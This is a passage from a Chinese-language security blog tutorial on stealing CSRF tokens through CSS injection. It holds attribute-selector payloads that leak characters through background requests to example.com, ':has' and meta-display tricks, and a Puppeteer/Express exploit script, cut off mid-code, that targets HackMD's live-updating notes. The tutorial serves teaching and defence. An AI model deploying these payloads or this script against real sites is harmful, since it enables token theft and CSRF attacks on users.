<p>我們先來討論第一個問題，有哪些東西可以偷？通常都是要偷一些敏感資料對吧？</p> <p>最常見的目標，就是 CSRF token。如果你不知道什麼是 CSRF，可以先看看我之前寫過的這一篇：<a class="link" href="https://blog.huli.tw/2017/03/12/csrf-introduction/" target="_blank" rel="noopener" >讓我們來談談 CSRF</a>（話說我有打算寫新的 CSRF 系列文，拖稿中，想看的話可留言催稿）。</p> <p>簡單來說呢，如果 CSRF token 被偷走，就有可能會被 CSRF 攻擊，總之你就想成這個 token 很重要就是了。而這個 CSRF token，通常都會被放在一個 hidden input 中，像是這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">form</span> <span class="na">action</span><span class="o">=</span><span class="s">&#34;/action&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;hidden&#34;</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;csrf-token&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;abc123&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">input</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;username&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;submit&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">form</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>我們該怎麼偷到裡面的資料呢？</p> <hr> <h3 id="偷-hidden-input">偷 hidden input</h3> <p>對於 hidden input 來說，照我們之前那樣寫是沒有效果的：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;csrf-token&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://example.com?q=a</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>因為 input 的 type 是 hidden，所以這個元素不會顯示在畫面上，既然不會顯示，那瀏覽器就沒有必要載入背景圖片，因此 server 不會收到任何 request。而這個限制非常嚴格，就算用 <code>display:block !important;</code> 也沒辦法蓋過去。</p> <p>該怎麼辦呢？沒關係，我們還有別的選擇器，像是這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;csrf-token&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="o">]</span> <span class="o">+</span> <span class="nt">input</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://example.com?q=a</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>最後面多了一個 <code>+ input</code>，這個加號是另外一個選擇器，意思是「選到後面的元素」，所以整個選擇器合在一起，就是「我要選 name 是 csrf-token，value 開頭是 a 的 input，的後面那個 input」，也就是 <code>&lt;input name=&quot;username&quot;&gt;</code>。</p> <p>所以，真正載入背景圖片的其實是別的元素，而別的元素並沒有 type=hidden，所以圖片會被正常載入。</p> <p>那如果後面沒有其他元素怎麼辦？像是這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">form</span> <span class="na">action</span><span class="o">=</span><span class="s">&#34;/action&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">input</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;username&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;submit&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;hidden&#34;</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;csrf-token&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;abc123&#34;</span><span class="p">&gt;</span> </span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">form</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>以這個案例來說，在以前就真的玩完了，因為 CSS 並沒有可以選到「前面的元素」的選擇器，所以真的束手無策。</p> <p>但現在不一樣了，因為我們有了 <a class="link" href="https://developer.mozilla.org/en-US/docs/Web/CSS/:has" target="_blank" rel="noopener" >:has</a>，這個選擇器可以選到「底下符合特殊條件的元素」，像這樣：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">form</span><span class="p">:</span><span class="nd">has</span><span class="o">(</span><span class="nt">input</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;csrf-token&#34;</span><span class="o">][</span><span class="nt">value</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="o">])</span><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://example.com?q=a</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>意思就是我要選到「底下有（符合那個條件的 input）的 form」，所以最後載入背景的會是 form，一樣也不是那個 hidden input。這個 has selector 很新，從上個月底釋出的 Chrome 105 開始才正式支援，目前只剩下 Firefox 的穩定版還沒支援了，詳情可看：<a class="link" href="https://caniuse.com/css-has" target="_blank" rel="noopener" >caniuse</a></p> <p><img src="https://live.staticflickr.com/65535/52401123368_86977189d7_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>有了 has 以後，基本上就無敵了，因為可以指定改變背景的是哪個父元素，所以想怎麼選就怎麼選，怎樣都選得到。</p> <hr> <h3 id="偷-meta">偷 meta</h3> <p>除了把資料放在 hidden input 以外，也有些網站會把資料放在 <code>&lt;meta&gt;</code> 裡面，例如說 <code>&lt;meta name=&quot;csrf-token&quot; content=&quot;abc123&quot;&gt;</code>，meta 這個元素一樣是看不見的元素，要怎麼偷呢？</p> <p>首先，如同上個段落的結尾講的一樣，<code>has</code> 是絕對偷得到的，可以這樣偷：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">html</span><span class="p">:</span><span class="nd">has</span><span class="o">(</span><span class="nt">meta</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;csrf-token&#34;</span><span class="o">][</span><span class="nt">content</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="o">])</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://example.com?q=a</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>但除此之外，還有其他方式也偷得到。</p> <p>meta 雖然也看不到，但跟 hidden input 不同，我們可以自己用 CSS 讓這個元素變成可見：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">meta</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">block</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">meta</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;csrf-token&#34;</span><span class="o">][</span><span class="nt">content</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://example.com?q=a</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p><img src="https://live.staticflickr.com/65535/52400626421_b4e8a7dbb6_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>可是這樣還不夠，你會發現 request 還是沒有送出，這是因為 meta 在 head 底下，而 head 也有預設的 <code>display:none</code> 屬性，因此也要幫 head 特別設置，才會讓 meta「能被看到」：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">head</span><span class="o">,</span> <span class="nt">meta</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">display</span><span class="p">:</span> <span class="kc">block</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="nt">meta</span><span class="o">[</span><span class="nt">name</span><span class="o">=</span><span class="s2">&#34;csrf-token&#34;</span><span class="o">][</span><span class="nt">content</span><span class="o">^=</span><span class="s2">&#34;a&#34;</span><span class="o">]</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">background</span><span class="p">:</span> <span class="nb">url</span><span class="p">(</span><span class="sx">https://example.com?q=a</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>照上面這樣寫，就會看到瀏覽器發出 request。不過，畫面上倒是沒有顯示任何東西，因為畢竟 <code>content</code> 是一個屬性，而不是 HTML 的 text node，所以不會顯示在畫面上，但是 <code>meta</code> 這個元素本身其實是看得到的，這也是為什麼 request 會發出去：</p> <p><img src="https://live.staticflickr.com/65535/52401123328_22e4dc9cbf_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>如果你真的想要在畫面上顯示 content 的話，其實也做得到，可以利用偽元素搭配 <code>attr</code>：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">meta</span><span class="p">:</span><span class="nd">before</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">content</span><span class="p">:</span> <span class="nb">attr</span><span class="p">(</span><span class="n">content</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>就會看到 meta 裡面的內容顯示在畫面上了。</p> <p>最後，讓我們來看一個實際案例。</p> <hr> <h3 id="偷-hackmd-的資料">偷 HackMD 的資料</h3> <p>HackMD 的 CSRF token 放在兩個地方，一個是 hidden input，另一個是 meta，內容如下：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">meta</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;csrf-token&#34;</span> <span class="na">content</span><span class="o">=</span><span class="s">&#34;h1AZ81qI-ns9b34FbasTXUq7a7_PPH8zy3RI&#34;</span><span class="p">&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><p>而 HackMD 其實支援 <code>&lt;style&gt;</code> 的使用，這個標籤不會被過濾掉，所以你是可以寫任何的 style 的，而相關的 CSP 如下：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">img-src * data:; </span></span><span class="line"><span class="cl">style-src &#39;self&#39; &#39;unsafe-inline&#39; https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com; </span></span><span class="line"><span class="cl">font-src &#39;self&#39; data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com; </span></span></code></pre></td></tr></table> </div> </div><p>可以看到 <code>unsafe-inline</code> 是允許的，所以可以插入任何的 CSS。</p> <p>確認可以插入 CSS 以後，就可以開始來準備偷資料了。還記得前面有一個問題沒有回答，那就是「該怎麼偷第一個以後的字元？」，我先以 HackMD 為例回答。</p> <p>首先，CSRF token 這種東西通常重新整理就會換一個，所以不能重新整理，而 HackMD 剛好支援即時更新，只要內容變了，會立刻反映在其他 client 的畫面上，因此可以做到「不重新整理而更新 style」，流程是這樣的：</p> <ol> <li>準備好偷第一個字元的 style，插入到 HackMD 裡面</li> <li>受害者打開頁面</li> <li>伺服器收到第一個字元的 request</li> <li>從伺服器更新 HackMD 內容，換成偷第二個字元的 payload</li> <li>受害者頁面即時更新，載入新的 style</li> <li>伺服器收到第二個字元的 request</li> <li>不斷循環直到偷完所有字元</li> </ol> <p>簡單的示意圖如下：</p> <p><img src="https://live.staticflickr.com/65535/52400915489_7f64b93a3b_o.png" max-width="100%" max-height="100%" class="gallery-image" loading="lazy" ></p> <p>程式碼如下：</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span><span class="lnt">57 </span><span class="lnt">58 </span><span class="lnt">59 </span><span class="lnt">60 </span><span class="lnt">61 </span><span class="lnt">62 </span><span class="lnt">63 </span><span class="lnt">64 </span><span class="lnt">65 </span><span class="lnt">66 </span><span class="lnt">67 </span><span class="lnt">68 </span><span class="lnt">69 </span><span class="lnt">70 </span><span class="lnt">71 </span><span class="lnt">72 </span><span class="lnt">73 </span><span class="lnt">74 </span><span class="lnt">75 </span><span class="lnt">76 </span><span class="lnt">77 </span><span class="lnt">78 </span><span class="lnt">79 </span><span class="lnt">80 </span><span class="lnt">81 </span><span class="lnt">82 </span><span class="lnt">83 </span><span class="lnt">84 </span><span class="lnt">85 </span><span class="lnt">86 </span><span class="lnt">87 </span><span class="lnt">88 </span><span class="lnt">89 </span><span class="lnt">90 </span><span class="lnt">91 </span><span class="lnt">92 </span><span class="lnt">93 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">puppeteer</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;puppeteer&#39;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;express&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">sleep</span> <span class="o">=</span> <span class="nx">ms</span> <span class="p">=&gt;</span> <span class="k">new</span> <span class="nb">Promise</span><span class="p">(</span><span class="nx">resolve</span> <span class="p">=&gt;</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">resolve</span><span class="p">,</span> <span class="nx">ms</span><span class="p">));</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1">// Create a hackMD document and let anyone can view/edit </span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">noteUrl</span> <span class="o">=</span> <span class="s1">&#39;https://hackmd.io/1awd-Hg82fekACbL_ode3aasf&#39;</span> </span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">host</span> <span class="o">=</span> <span class="s1">&#39;http://localhost:3000&#39;</span> </span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">baseUrl</span> <span class="o">=</span> <span class="nx">host</span> <span class="o">+</span> <span class="s1">&#39;/extract?q=&#39;</span> </span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">port</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">PORT</span> <span class="o">||</span> <span class="mi">3000</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="p">;(</span><span class="kr">async</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">browser</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">puppeteer</span><span class="p">.</span><span class="nx">launch</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="nx">headless</span><span class="o">:</span> <span class="kc">true</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">page</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">newPage</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">setViewport</span><span class="p">({</span> <span class="nx">width</span><span class="o">:</span> <span class="mi">1280</span><span class="p">,</span> <span class="nx">height</span><span class="o">:</span> <span class="mi">800</span> <span class="p">})</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">setRequestInterception</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="nx">page</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s1">&#39;request&#39;</span><span class="p">,</span> <span class="nx">request</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">url</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="c1">// cancel request to self </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="k">if</span> <span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">baseUrl</span><span class="p">))</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">request</span><span class="p">.</span><span class="nx">abort</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">request</span><span class="p">.</span><span class="k">continue</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="nx">port</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`Listening at http://localhost:</span><span class="si">${</span><span class="nx">port</span><span class="si">}</span><span class="sb">`</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;Waiting for server to get ready...&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">startExploit</span><span class="p">(</span><span class="nx">app</span><span class="p">,</span> <span class="nx">page</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"><span class="p">})()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">startExploit</span><span class="p">(</span><span class="nx">app</span><span class="p">,</span> <span class="nx">page</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">currentToken</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="kr">goto</span><span class="p">(</span><span class="nx">noteUrl</span> <span class="o">+</span> <span class="s1">&#39;?edit&#39;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="c1">// @see: https://stackoverflow.com/questions/51857070/puppeteer-in-nodejs-reports-error-node-is-either-not-visible-or-not-an-htmlele </span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">addStyleTag</span><span class="p">({</span> <span class="nx">content</span><span class="o">:</span> <span class="s2">&#34;{scroll-behavior: auto !important;}&#34;</span> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">initialPayload</span> <span class="o">=</span> <span class="nx">generateCss</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">updateCssPayload</span><span class="p">(</span><span class="nx">page</span><span class="p">,</span> <span class="nx">initialPayload</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`Server is ready, you can open </span><span class="si">${</span><span class="nx">noteUrl</span><span class="si">}</span><span class="sb">?view on the browser`</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">&#39;/extract&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">query</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">q</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">query</span><span class="p">)</span> <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`query: </span><span class="si">${</span><span class="nx">query</span><span class="si">}</span><span class="sb">, progress: </span><span class="si">${</span><span class="nx">query</span><span class="p">.</span><span class="nx">length</span><span class="si">}</span><span class="sb">/36`</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">currentToken</span> <span class="o">=</span> <span class="nx">query</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">query</span><span class="p">.</span><span class="nx">length</span> <span class="o">===</span> <span class="mi">36</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;over&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="k">return</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">payload</span> <span class="o">=</span> <span class="nx">generateCss</span><span class="p">(</span><span class="nx">currentToken</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">updateCssPayload</span><span class="p">(</span><span class="nx">page</span><span class="p">,</span> <span class="nx">payload</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">updateCssPayload</span><span class="p">(</span><span class="nx">page</span><span class="p">,</span> <span class="nx">payload</span><span class="p">)</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">sleep</span><span class="p">(</span><span class="mi">300</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">click</span><span class="p">(</span><span class="s1">&#39;.CodeMirror-line&#39;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">keyboard</span><span class="p">.</span><span class="nx">down</span><span class="p">(</span><span class="s1">&#39;Meta&#39;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">keyboard</span><span class="p">.</span><span class="nx">press</span><span class="p">(</span><span class="s1">&#39;A&#39;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">keyboard</span><span class="p">.</span><span class="nx">up</span><span class="p">(</span><span class="s1">&#39;Meta&#39;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">keyboard</span><span class="p">.</span><span class="nx">press</span><span class="p">(</span><span class="s1">&#39;Backspace&#39;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">sleep</span><span class="p">(</span><span class="mi">300</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">keyboard</span><span class="p">.</span><span class="nx">sendCharacter</span><span class="p">(</span><span class="nx">payload</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;Updated css payload, waiting for next 